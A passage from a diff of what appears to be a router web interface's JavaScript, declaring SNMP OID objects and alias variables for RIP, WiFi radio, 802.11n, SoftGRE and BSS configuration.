Scalar("RIPSendVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.20",4); +RIPObjects.RIPRecvVersion= new Scalar("RIPRecvVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.21",2); +RIPObjects.RIPDefaultMetric= new Scalar("RIPDefaultMetric","1.3.6.1.4.1.4115.1.20.1.1.2.5.22",2); + RIPObjects.RIPNeighbor= new Scalar("RIPNeighbor","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +// scm { +var arRIPEnable=RIPObjects.RIPEnable; +var arRIPAuthEnable=RIPObjects.RIPAuthEnable; +var arRIPReportTime=RIPObjects.RIPReportTime; +var arRIPAuthKeyString=RIPObjects.RIPAuthKeyString; +var arRIPAuthKeyID=RIPObjects.RIPAuthKeyID; +var arRIPIPAddrType=RIPObjects.RIPIPAddrType; +var arRIPIPAddr=RIPObjects.RIPIPAddr; +var arRIPPrefixLen=RIPObjects.RIPPrefixLen; +var arRIPAuthKeyChain=RIPObjects.RIPAuthKeyChain; +var arRIPRoutedSubnetIPType=RIPObjects.RIPRoutedSubnetIPType; +var arRIPRoutedSubnetIP=RIPObjects.RIPRoutedSubnetIP; +var arRIPRoutedSubnetGWNetIPType=RIPObjects.RIPRoutedSubnetGWNetIPType; +var arRIPRoutedSubnetGWNetIP=RIPObjects.RIPRoutedSubnetGWNetIP; +var arRIPRoutedSubnetMask=RIPObjects.RIPRoutedSubnetMask; +var arRIPRoutedSubnetEnabled=RIPObjects.RIPRoutedSubnetEnabled; +var arRIPSendCMInterface=RIPObjects.RIPSendCMInterface; +var arRIPRoutedSubnetDHCP=RIPObjects.RIPRoutedSubnetDHCP; +var arRIPRoutedSubnetNAT=RIPObjects.RIPRoutedSubnetNAT; + +var arRIPInterface=RIPObjects.RIPInterface; +var arRIPSendVersion=RIPObjects.RIPSendVersion; +var arRIPRecvVersion=RIPObjects.RIPRecvVersion; +var arRIPDefaultMetric=RIPObjects.RIPDefaultMetric; +var arRIPNeighbor=RIPObjects.RIPNeighbor; + + +var RIPRoutedSubnetTable = new Table("RIPRoutedSubnetTable", "1.3.6.1.4.1.4115.1.20.1.1.2.5.19"); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex = new Column("RIPRoutedSubnetTableIndex","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.1",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType = new Column("RIPRoutedSubnetTableIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.2",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIP = new Column("RIPRoutedSubnetTableIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.3",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType = new Column("RIPRoutedSubnetTableGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.4",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP = new Column("RIPRoutedSubnetTableGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.5",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableMask = new Column("RIPRoutedSubnetTableMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.6",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled = new Column("RIPRoutedSubnetTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.7",2); +RIPRoutedSubnetTable.RIPTableSendCMInterface = new Column("RIPTableSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.8",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP = new Column("RIPRoutedSubnetTableDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.9",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT = new Column("RIPRoutedSubnetTableNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.10",2); +var arRIPRoutedSubnetTableIndex=RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex; +var arRIPRoutedSubnetTableIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType; +var arRIPRoutedSubnetTableIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableIP; +var arRIPRoutedSubnetTableGWNetIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType; +var arRIPRoutedSubnetTableGWNetIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP; +var arRIPRoutedSubnetTableMask=RIPRoutedSubnetTable.RIPRoutedSubnetTableMask; +var arRIPRoutedSubnetTableEnabled=RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled; +var arRIPTableSendCMInterface=RIPRoutedSubnetTable.RIPTableSendCMInterface; +var arRIPRoutedSubnetTableDHCP=RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP; +var arRIPRoutedSubnetTableNAT=RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT; + +var LanEtherPortTable = new Table("LanEtherPortTable", "1.3.6.1.4.1.4115.1.20.1.1.2.8"); +LanEtherPortTable.LanEtherPortIdx = new Column("LanEtherPortIdx", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.1",66); +LanEtherPortTable.LanEtherPortIFIndex = new Column("LanEtherPortIFIndex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.2",2); +LanEtherPortTable.LanEtherPortEnabled = new Column("LanEtherPortEnabled", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.3",2); +LanEtherPortTable.LanEtherPortDuplex = new Column("LanEtherPortDuplex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.4",2); +LanEtherPortTable.LanEtherPortSpeed = new Column("LanEtherPortSpeed", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.5",2); +LanEtherPortTable.LanEtherPortAuto = new Column("LanEtherPortAuto", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.6",2); +LanEtherPortTable.LanEtherPortHasLink = new Column("LanEtherPortHasLink", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.7",2); +var arLanEtherPortIdx=LanEtherPortTable.LanEtherPortIdx; +var arLanEtherPortIFIndex=LanEtherPortTable.LanEtherPortIFIndex; +var arLanEtherPortEnabled=LanEtherPortTable.LanEtherPortEnabled; +var arLanEtherPortDuplex=LanEtherPortTable.LanEtherPortDuplex; +var arLanEtherPortSpeed=LanEtherPortTable.LanEtherPortSpeed; +var arLanEtherPortAuto=LanEtherPortTable.LanEtherPortAuto; +var arLanEtherPortHasLink=LanEtherPortTable.LanEtherPortHasLink; + +var RIPngObjects = new Container("RIPngObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.9"); +RIPngObjects.RIPngEnable= new Scalar("RIPngEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.1",2); +RIPngObjects.RIPngAddr= new Scalar("RIPngAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.2",4, 1); +RIPngObjects.RIPngSubnetEnable= new Scalar("RIPngSubnetEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.3",2); +RIPngObjects.RIPngRoutedSubnetAddr= new Scalar("RIPngRoutedSubnetAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.4",4, 1); +RIPngObjects.RIPngRoutedSubnetPrefixLength= new Scalar("RIPngRoutedSubnetPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.2.9.5",2); +RIPngObjects.RIPngSendCMInterface= new Scalar("RIPngSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.9.6",2); +var arRIPngEnable=RIPngObjects.RIPngEnable; +var arRIPngAddr=RIPngObjects.RIPngAddr; +var arRIPngSubnetEnable=RIPngObjects.RIPngSubnetEnable; +var arRIPngRoutedSubnetAddr=RIPngObjects.RIPngRoutedSubnetAddr; +var arRIPngRoutedSubnetPrefixLength=RIPngObjects.RIPngRoutedSubnetPrefixLength; +var arRIPngSendCMInterface=RIPngObjects.RIPngSendCMInterface; + +var WiFi50RadioSettings = new Container("WiFi50RadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50"); +WiFi50RadioSettings.WiFi50Channel= new Scalar("WiFi50Channel","1.3.6.1.4.1.4115.1.20.1.1.3.50.1",66); +WiFi50RadioSettings.WiFi50Mode= new Scalar("WiFi50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.50.2",2); +WiFi50RadioSettings.WiFi50EnableRadio= new Scalar("WiFi50EnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.50.10",2); +WiFi50RadioSettings.WiFi50OutputPower= new Scalar("WiFi50OutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.50.14",2); +WiFi50RadioSettings.WiFi50HTTxStream= new Scalar("WiFi50HTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.21",66); +WiFi50RadioSettings.WiFi50HTRxStream= new Scalar("WiFi50HTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.22",66); +WiFi50RadioSettings.WiFi50EnableSTBC= new Scalar("WiFi50EnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.50.23",2); +WiFi50RadioSettings.WiFi50EnableRDG= new Scalar("WiFi50EnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.50.24",2); +WiFi50RadioSettings.WiFi50IGMPSnooping= new Scalar("WiFi50IGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.50.25",2); +WiFi50RadioSettings.WiFi50WiFiBlockDFSChan= new Scalar("WiFi50WiFiBlockDFSChan","1.3.6.1.4.1.4115.1.20.1.1.3.50.26",2); +WiFi50RadioSettings.WiFi50PhysicalChannel= new Scalar("WiFi50PhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.50.16",2); /* kn-mib */ +var arWiFi50Channel=WiFi50RadioSettings.WiFi50Channel; +var arWiFi50Mode=WiFi50RadioSettings.WiFi50Mode; +var arWiFi50EnableRadio=WiFi50RadioSettings.WiFi50EnableRadio; +var arWiFi50OutputPower=WiFi50RadioSettings.WiFi50OutputPower; +var arWiFi50HTTxStream=WiFi50RadioSettings.WiFi50HTTxStream; +var arWiFi50HTRxStream=WiFi50RadioSettings.WiFi50HTRxStream; +var arWiFi50EnableSTBC=WiFi50RadioSettings.WiFi50EnableSTBC; +var arWiFi50EnableRDG=WiFi50RadioSettings.WiFi50EnableRDG; +var arWiFi50IGMPSnooping=WiFi50RadioSettings.WiFi50IGMPSnooping; +var arWiFi50BlockDFSChan=WiFi50RadioSettings.WiFi50WiFiBlockDFSChan; +var arWiFi50PhysicalChannel=WiFi50RadioSettings.WiFi50PhysicalChannel; /* kn-mib */ + +var WiFi50NSettings = new Container("WiFi50NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50.20"); +WiFi50NSettings.WiFi50HTMCS= new Scalar("WiFi50HTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.1",2); +WiFi50NSettings.WiFi50ChannelBW= new Scalar("WiFi50ChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.2",2); +WiFi50NSettings.WiFi50NSideBand= new Scalar("WiFi50NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.3",2); +WiFi50NSettings.WiFi50HTMode= new Scalar("WiFi50HTMode","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.4",2); +WiFi50NSettings.WiFi50GuardInterval= new Scalar("WiFi50GuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.5",2); +WiFi50NSettings.WiFi50AMSDUEnable= new Scalar("WiFi50AMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.6",2); +WiFi50NSettings.WiFi50DeclinePeerBA= new Scalar("WiFi50DeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.7",2); +WiFi50NSettings.WiFi50BlockAck= new Scalar("WiFi50BlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.8",2); +WiFi50NSettings.WiFi50NProtection= new Scalar("WiFi50NProtection","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.9",2); +WiFi50NSettings.WiFi50Allow40MHzOnlyOperation= new Scalar("WiFi50Allow40MHzOnlyOperation","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.10",2); +var arWiFi50HTMCS=WiFi50NSettings.WiFi50HTMCS; +var arWiFi50ChannelBW=WiFi50NSettings.WiFi50ChannelBW; +var arWiFi50NSideBand=WiFi50NSettings.WiFi50NSideBand; +var arWiFi50HTMode=WiFi50NSettings.WiFi50HTMode; +var arWiFi50GuardInterval=WiFi50NSettings.WiFi50GuardInterval; +var arWiFi50AMSDUEnable=WiFi50NSettings.WiFi50AMSDUEnable; +var arWiFi50DeclinePeerBA=WiFi50NSettings.WiFi50DeclinePeerBA; +var arWiFi50BlockAck=WiFi50NSettings.WiFi50BlockAck; +var arWiFi50NProtection=WiFi50NSettings.WiFi50NProtection; +var arWiFi50Allow40MHzOnlyOperation=WiFi50NSettings.WiFi50Allow40MHzOnlyOperation; + +var WirelessCfg = new Container("WirelessCfg", "1.3.6.1.4.1.4115.1.20.1.1.3"); +WirelessCfg.WiFiCountry= new Scalar("WiFiCountry","1.3.6.1.4.1.4115.1.20.1.1.3.1",4); +WirelessCfg.WiFiChannel= new Scalar("WiFiChannel","1.3.6.1.4.1.4115.1.20.1.1.3.2",66); +WirelessCfg.WiFiMode= new Scalar("WiFiMode","1.3.6.1.4.1.4115.1.20.1.1.3.3",2); +WirelessCfg.WiFiBGProtect= new Scalar("WiFiBGProtect","1.3.6.1.4.1.4115.1.20.1.1.3.4",2); +WirelessCfg.WiFiBeaconInterval= new Scalar("WiFiBeaconInterval","1.3.6.1.4.1.4115.1.20.1.1.3.5",66); +WirelessCfg.WiFiDTIMInterval= new Scalar("WiFiDTIMInterval","1.3.6.1.4.1.4115.1.20.1.1.3.6",66); +WirelessCfg.WiFiTxPreamble= new Scalar("WiFiTxPreamble","1.3.6.1.4.1.4115.1.20.1.1.3.7",2); +WirelessCfg.WiFiRTSThreshold= new Scalar("WiFiRTSThreshold","1.3.6.1.4.1.4115.1.20.1.1.3.8",66); +WirelessCfg.WiFiFragmentThresh= new Scalar("WiFiFragmentThresh","1.3.6.1.4.1.4115.1.20.1.1.3.9",66); +WirelessCfg.WiFiShortSlot= new Scalar("WiFiShortSlot","1.3.6.1.4.1.4115.1.20.1.1.3.10",2); +WirelessCfg.WiFiFrameBurst= new Scalar("WiFiFrameBurst","1.3.6.1.4.1.4115.1.20.1.1.3.11",2); +WirelessCfg.WiFiEnableRadio= new Scalar("WiFiEnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.12",2); +WirelessCfg.WiFiTxPower= new Scalar("WiFiTxPower","1.3.6.1.4.1.4115.1.20.1.1.3.13",2); +WirelessCfg.WiFiShortRetryLimit= new Scalar("WiFiShortRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.14",2); +WirelessCfg.WiFiLongRetryLimit= new Scalar("WiFiLongRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.15",2); +WirelessCfg.WiFiOutputPower= new Scalar("WiFiOutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.16",2); +WirelessCfg.WiFiMulticastA= new Scalar("WiFiMulticastA","1.3.6.1.4.1.4115.1.20.1.1.3.17",2); +WirelessCfg.WiFiMulticastBG= new Scalar("WiFiMulticastBG","1.3.6.1.4.1.4115.1.20.1.1.3.18",2); +WirelessCfg.WiFiBasicRateSet= new Scalar("WiFiBasicRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.19",2); +WirelessCfg.WiFiTxRate= new Scalar("WiFiTxRate","1.3.6.1.4.1.4115.1.20.1.1.3.20",2); +WirelessCfg.WiFiResetDefaults= new Scalar("WiFiResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.3.32",2); +WirelessCfg.WiFiEnableRadioNow= new Scalar("WiFiEnableRadioNow","1.3.6.1.4.1.4115.1.20.1.1.3.33",2); +WirelessCfg.WiFiCustomSSIDStr= new Scalar("WiFiCustomSSIDStr","1.3.6.1.4.1.4115.1.20.1.1.3.34",4); +WirelessCfg.WiFiReset= new Scalar("WiFiReset","1.3.6.1.4.1.4115.1.20.1.1.3.35",2); +WirelessCfg.WiFiUseSNForPSK= new Scalar("WiFiUseSNForPSK","1.3.6.1.4.1.4115.1.20.1.1.3.36",2); +WirelessCfg.WiFiRadioControlMode= new Scalar("WiFiRadioControlMode","1.3.6.1.4.1.4115.1.20.1.1.3.37",2); +WirelessCfg.WiFiAutoChannelTime= new Scalar("WiFiAutoChannelTime","1.3.6.1.4.1.4115.1.20.1.1.3.38",2); +WirelessCfg.WiFiUtilityCommand= new Scalar("WiFiUtilityCommand","1.3.6.1.4.1.4115.1.20.1.1.3.40",4); +WirelessCfg.WiFiUtilityCommandOutput= new Scalar("WiFiUtilityCommandOutput","1.3.6.1.4.1.4115.1.20.1.1.3.41",4); +WirelessCfg.WiFiPhysicalChannel= new Scalar("WiFiPhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.43",2); +WirelessCfg.WiFiTxPowerPhysical= new Scalar("WiFiTxPowerPhysical","1.3.6.1.4.1.4115.1.20.1.1.3.44",2); +WirelessCfg.WiFiShortSlotEnhanced= new Scalar("WiFiShortSlotEnhanced","1.3.6.1.4.1.4115.1.20.1.1.3.45",2); +WirelessCfg.WiFiInterferencePhyLayer= new Scalar("WiFiInterferencePhyLayer","1.3.6.1.4.1.4115.1.20.1.1.3.47",2); +WirelessCfg.WiFiInterferenceDriverLayer= new Scalar("WiFiInterferenceDriverLayer","1.3.6.1.4.1.4115.1.20.1.1.3.48",2); +WirelessCfg.WiFiChannelsInterferenceState= new Scalar("WiFiChannelsInterferenceState","1.3.6.1.4.1.4115.1.20.1.1.3.49",4); +WirelessCfg.WiFiExtensionChannel= new Scalar("WiFiExtensionChannel","1.3.6.1.4.1.4115.1.20.1.1.3.64",66); +WirelessCfg.WiFiHTTxStream= new Scalar("WiFiHTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.55",66); +WirelessCfg.WiFiHTRxStream= new Scalar("WiFiHTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.56",66); +WirelessCfg.WiFiEnableSTBC= new Scalar("WiFiEnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.57",2); +WirelessCfg.WiFiEnableRDG= new Scalar("WiFiEnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.58",2); +WirelessCfg.WiFiIGMPSnooping= new Scalar("WiFiIGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.59",2); +var arWiFiCountry=WirelessCfg.WiFiCountry; +var arWiFiChannel=WirelessCfg.WiFiChannel; +var arWiFiMode=WirelessCfg.WiFiMode; +var arWiFiBGProtect=WirelessCfg.WiFiBGProtect; +var arWiFiBeaconInterval=WirelessCfg.WiFiBeaconInterval; +var arWiFiDTIMInterval=WirelessCfg.WiFiDTIMInterval; +var arWiFiTxPreamble=WirelessCfg.WiFiTxPreamble; +var arWiFiRTSThreshold=WirelessCfg.WiFiRTSThreshold; +var arWiFiFragmentThresh=WirelessCfg.WiFiFragmentThresh; +var arWiFiShortSlot=WirelessCfg.WiFiShortSlot; +var arWiFiFrameBurst=WirelessCfg.WiFiFrameBurst; +var arWiFiEnableRadio=WirelessCfg.WiFiEnableRadio; +var arWiFiTxPower=WirelessCfg.WiFiTxPower; +var arWiFiShortRetryLimit=WirelessCfg.WiFiShortRetryLimit; +var arWiFiLongRetryLimit=WirelessCfg.WiFiLongRetryLimit; +var arWiFiOutputPower=WirelessCfg.WiFiOutputPower; +var arWiFiMulticastA=WirelessCfg.WiFiMulticastA; +var arWiFiMulticastBG=WirelessCfg.WiFiMulticastBG; +var arWiFiBasicRateSet=WirelessCfg.WiFiBasicRateSet; +var arWiFiTxRate=WirelessCfg.WiFiTxRate; +var arWiFiResetDefaults=WirelessCfg.WiFiResetDefaults; +var arWiFiEnableRadioNow=WirelessCfg.WiFiEnableRadioNow; +var arWiFiCustomSSIDStr=WirelessCfg.WiFiCustomSSIDStr; +var arWiFiReset=WirelessCfg.WiFiReset; +var arWiFiUseSNForPSK=WirelessCfg.WiFiUseSNForPSK; +var arWiFiRadioControlMode=WirelessCfg.WiFiRadioControlMode; +var arWiFiAutoChannelTime=WirelessCfg.WiFiAutoChannelTime; +var arWiFiUtilityCommand=WirelessCfg.WiFiUtilityCommand; +var arWiFiUtilityCommandOutput=WirelessCfg.WiFiUtilityCommandOutput; +var arWiFiPhysicalChannel=WirelessCfg.WiFiPhysicalChannel; +var arWiFiTxPowerPhysical=WirelessCfg.WiFiTxPowerPhysical; +var arWiFiShortSlotEnhanced=WirelessCfg.WiFiShortSlotEnhanced; +var arWiFiInterferencePhyLayer=WirelessCfg.WiFiInterferencePhyLayer; +var arWiFiInterferenceDriverLayer=WirelessCfg.WiFiInterferenceDriverLayer; +var arWiFiChannelsInterferenceState=WirelessCfg.WiFiChannelsInterferenceState; +var arWiFiExtensionChannel=WirelessCfg.WiFiExtensionChannel; +var arWiFiHTTxStream=WirelessCfg.WiFiHTTxStream; +var arWiFiHTRxStream=WirelessCfg.WiFiHTRxStream; +var arWiFiEnableSTBC=WirelessCfg.WiFiEnableSTBC; +var arWiFiEnableRDG=WirelessCfg.WiFiEnableRDG; +var arWiFiIGMPSnooping=WirelessCfg.WiFiIGMPSnooping; + +var WiFi80211NSettings = new Container("WiFi80211NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.21"); +WiFi80211NSettings.WiFi80211NBand= new Scalar("WiFi80211NBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.1",2); +WiFi80211NSettings.WiFiHTMCS= new Scalar("WiFiHTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.21.2",2); +WiFi80211NSettings.WiFiChannelBW= new Scalar("WiFiChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.21.3",2); +WiFi80211NSettings.WiFi80211NSideBand= new Scalar("WiFi80211NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.4",2); +WiFi80211NSettings.WiFiHTMode= new Scalar("WiFiHTMode","1.3.6.1.4.1.4115.1.20.1.1.3.21.5",2); +WiFi80211NSettings.WiFiGuardInterval= new Scalar("WiFiGuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.21.6",2); +WiFi80211NSettings.WiFiAMSDUEnable= new Scalar("WiFiAMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.21.7",2); +WiFi80211NSettings.WiFiDeclinePeerBA= new Scalar("WiFiDeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.21.8",2); +WiFi80211NSettings.WiFiBlockAck= new Scalar("WiFiBlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.21.9",2); +WiFi80211NSettings.WiFiNProtection= new Scalar("WiFiNProtection","1.3.6.1.4.1.4115.1.20.1.1.3.21.10",2); +var arWiFi80211NBand=WiFi80211NSettings.WiFi80211NBand; +var arWiFiHTMCS=WiFi80211NSettings.WiFiHTMCS; +var arWiFiChannelBW=WiFi80211NSettings.WiFiChannelBW; +var arWiFi80211NSideBand=WiFi80211NSettings.WiFi80211NSideBand; +var arWiFiHTMode=WiFi80211NSettings.WiFiHTMode; +var arWiFiGuardInterval=WiFi80211NSettings.WiFiGuardInterval; +var arWiFiAMSDUEnable=WiFi80211NSettings.WiFiAMSDUEnable; +var arWiFiDeclinePeerBA=WiFi80211NSettings.WiFiDeclinePeerBA; +var arWiFiBlockAck=WiFi80211NSettings.WiFiBlockAck; +var arWiFiNProtection=WiFi80211NSettings.WiFiNProtection; + + +var RouterSoftGreWanTable = new Table("RouterSoftGreWanTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.1"); +RouterSoftGreWanTable.SoftGreWanEnable = new Column("SoftGreWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.1",2,1); +RouterSoftGreWanTable.SoftGreMappedInterface = new Column("SoftGreMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.2",66); +RouterSoftGreWanTable.SoftGreWanDscp = new Column("SoftGreWanDscp","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.19",2,1); +RouterSoftGreWanTable.FailoverPingCount = new Column("FailoverPingCount","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.7",2, 1); +RouterSoftGreWanTable.FailoverPingInterval = new Column("FailoverPingInterval","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.8",2, 1); +RouterSoftGreWanTable.FailoverThreshold = new Column("FailoverThreshold","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.9",2, 1); +//RouterSoftGreWanTable.DNSRetryTimer = new Column("DNSRetryTimer","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.20",2, 1); +RouterSoftGreWanTable.CircuitIdEnabled = new Column("CircuitIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.10",2); +RouterSoftGreWanTable.RemoteIdEnabled = new Column("RemoteIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.11",2); +RouterSoftGreWanTable.MaxSessions = new Column("MaxSessions","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.3",2); +RouterSoftGreWanTable.ControllerFqdn = new Column("ControllerFqdn","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.4",4); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType = new Column("ControllerProvisionedSecondaryIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.5",1); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress = new Column("ControllerProvisionedSecondaryIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.6",4); +RouterSoftGreWanTable.ControllerCurrentIpAddressType = new Column("ControllerCurrentIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.21",1); +RouterSoftGreWanTable.ControllerCurrentIpAddress = new Column("ControllerCurrentIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.22",4); + +var arGreWanSoftGreWanEnable=RouterSoftGreWanTable.SoftGreWanEnable; +var arGreWanSoftGreMappedInterface=RouterSoftGreWanTable.SoftGreMappedInterface; +var arGreWanSoftGreWanDscp=RouterSoftGreWanTable.SoftGreWanDscp; +var arGreWanFailoverPingCount=RouterSoftGreWanTable.FailoverPingCount; +var arGreWanFailoverPingInterval=RouterSoftGreWanTable.FailoverPingInterval; +var arGreWanFailoverThreshold=RouterSoftGreWanTable.FailoverThreshold; +//var arGreWanDNSRetryTimer=RouterSoftGreWanTable.DNSRetryTimer; +var arGreWanCircuitIdEnabled=RouterSoftGreWanTable.CircuitIdEnabled; +var arGreWanRemoteIdEnabled=RouterSoftGreWanTable.RemoteIdEnabled; +var arGreMaxSessions=RouterSoftGreWanTable.MaxSessions; +var arGreWanControllerFqdn=RouterSoftGreWanTable.ControllerFqdn; +var arGreWanControllerProvisionedSecondaryIpAddressType=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType; +var arGreWanControllerProvisionedSecondaryIpAddress=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress; +var arGreWanControllerCurrentIpAddressType=RouterSoftGreWanTable.ControllerCurrentIpAddressType; +var arGreWanControllerControllerCurrentIpAddress=RouterSoftGreWanTable.ControllerCurrentIpAddress; + +var RouterSoftGreSSIDTable = new Table("RouterSoftGreSSIDTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2"); +RouterSoftGreSSIDTable.SoftGreVLanId = new Column("SoftGreVLanId", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.1",66); +RouterSoftGreSSIDTable.SoftGreVLanPriority = new Column("SoftGreVLanPriority", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.2",66); + +var arGreSSIDSoftGreVLanId=RouterSoftGreSSIDTable.SoftGreVLanId; +var arGreSSIDSoftGreVLanPriority=RouterSoftGreSSIDTable.SoftGreVLanPriority; + + +var BSSTable = new Table("BSSTable", "1.3.6.1.4.1.4115.1.20.1.1.3.22"); +BSSTable.BssID = new Column("BssID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.1",4, 1); +BSSTable.BssSSID = new Column("BssSSID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2",4); +BSSTable.BssActive = new Column("BssActive","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.3",2); +BSSTable.BssSSIDBroadcast = new Column("BssSSIDBroadcast","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.4",2); +BSSTable.BssSecurityMode = new Column("BssSecurityMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5",2); +BSSTable.BssAccessMode = new Column("BssAccessMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.6",2); +BSSTable.BssNetworkIsolate = new Column("BssNetworkIsolate","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.7",2); +BSSTable.BssMACAccessCount = new Column("BssMACAccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.8",66); +BSSTable.BssMACAccessClear = new Column("BssMACAccessClear","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.9",2); +BSSTable.BssWMMEnable = new Column("BssWMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.12",2); +var arBssID=BSSTable.BssID; +var arBssSSID=BSSTable.BssSSID; +var arBssActive=BSSTable.BssActive; +var arBssSSIDBroadcast=BSSTable.BssSSIDBroadcast; +var arBssSecurityMode=BSSTable.BssSecurityMode; +var arBssAccessMode=BSSTable.BssAccessMode; +var arBssNetworkIsolate=BSSTable.BssNetworkIsolate; +var arBssMACAccessCount=BSSTable.BssMACAccessCount; +var arBssMACAccessClear=BSSTable.BssMACAccessClear; +var 